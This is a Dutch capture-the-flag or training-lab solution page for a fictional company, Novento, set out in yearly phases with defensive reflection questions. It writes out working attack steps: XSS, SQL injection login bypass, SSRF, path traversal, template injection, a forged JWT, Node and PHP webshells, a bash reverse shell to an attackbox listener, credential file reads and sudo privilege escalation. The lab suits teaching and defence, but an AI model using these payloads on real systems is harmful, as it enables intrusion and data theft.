Browser attackbox
Direct aan de slag als haxor. Open twee tabs voor een listener en je onderzoek.
Trainer · volledige oplossing
Alle 16 technieken en de echte shellketen. Dit is dezelfde bron als Guided Mode op het leerpad.
Jouw tijdelijke werkomgeving
Direct aan de slag als haxor. Open twee tabs voor een listener en je onderzoek.
Download je persoonlijke profiel op de startpagina. Doel- en listeneradres staan bovenaan het profiel.
Beheer & OpenVPNBewaar de phishingmail, volg je 16 technieken en lever Jan- en rootbewijs in.
Scope: alleen deze Novento-instance. Labmachines en VPN hebben geen internettoegang. Browserdoel http://novento-lab:8080 · listener attackbox.
De Verkenning · Week 1–13
Cipher verzamelt rollen, routines en projectcontext. Sandra breekt in de finale de keten door Karin zelf te bellen.
Welke informatie moet publiek blijven, en welk detail zou je weghalen of anders delen?
De Inbraak · Week 14–26
Thomas klikt in week 25 maar meldt binnen een minuut. Cipher heeft zes minuten in zijn mailbox. Sarah meldt in de finale als eerste.
<script>alert(document.domain)</script>. Controleer daarna de vlag op /scoreboard.it-support@noventogroep.nl / Welkom01!. Dit bewijst het weak-password/no-rate-limit pad en ontgrendelt de interne tools.' OR 1=1# en wachtwoord x. Log daarna opnieuw in als IT voor de volgende fase.python3 -m http.server 8000 --bind 0.0.0.0.Factuur en betaalbatch en een link naar http://attackbox:8000/bevestiging.Welke combinatie van MFA, melden en sessies intrekken verkort Ciphers tijd?
De Escalatie · Week 27–39
Rubens account is na zijn vertrek blijven bestaan. MFA was voor de overdracht uitgezet. Sarah legt in de finale de vertrekkerslijst naast de accounts.
it-support@noventogroep.nl / Welkom01!. Open eerst elk onderdeel via het menu Interne tools zodat je de normale functie kent.http://127.0.0.1:8080/internal/metadata. De applicatieserver haalt zijn eigen interne endpoint op.KLANT-1001 en daarna KLANT-1001; id.../../etc/passwd. Gebruik daarna voor LFI ../src/server.js.printf 'Kwartaalrapport {{exec:id}}\n' > /tmp/evil.tpl en start python3 -m http.server 8000 --directory /tmp --bind 0.0.0.0.http://attackbox:8000/evil.tpl. Bij OpenVPN gebruik je het listeneradres uit je profiel.2026-0142 in 2026-0163.novento_jwt en zet de waarde op eyJ1c2VyIjoic2FuZHJhIiwicm9sZSI6ImFkbWluIn0. Herlaad de pagina voor de beheerdersweergave.profielfoto.js, type image/png en als inhoud process.stdout.write(require('node:child_process').execSync(new URLSearchParams(process.env.QUERY_STRING).get('cmd') || 'id'))./uploads/profielfoto.js?cmd=id. Een echte afbeelding blijft data; alleen uitvoerbare scripts worden uitgevoerd.missing'; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/portal/uploads/report-shell.php'; -- -/uploads/report-shell.php?cmd=id. De database heeft nu zelf een werkende PHP-webshell geschreven.nc -lvnp 4444. Open daarna in de browser /tools?dossier=; nohup bash -c 'bash -i >& /dev/tcp/attackbox/4444 0>&1' >/tmp/r.log 2>&1 &. Bij OpenVPN vervang je attackbox door het listeneradres uit je profiel.id en cat /home/jan/notes.txt. Lees het backuptoken met cat /var/www/portal/.env.python3 -c 'import pty; pty.spawn(["su","jan"])'. Wachtwoord: JAN-BACKUP-TOKEN-APRIL.cat /home/jan/notes.txt en controleer sudo -l.sudo /usr/local/bin/wp-maintenance --exec /bin/bash en lees /root/root.txt.Welke controle had Rubens toegang beëindigd, en welke combinatie van query-, bestands- en sudo-beperkingen stopt de technische escalatie?
De Tegenstand · Week 40–52
De besmette leveranciersupdate raakt één server. Mila merkt het vrijdag om 07:44, belt Jan om 07:54; om 08:00 belt Jan Karin. Herstel komt uit de kopie van dinsdagavond.
Wie meldt wat aan Jan en Karin, en hoe toon je dat een teruggezette kopie betrouwbaar is?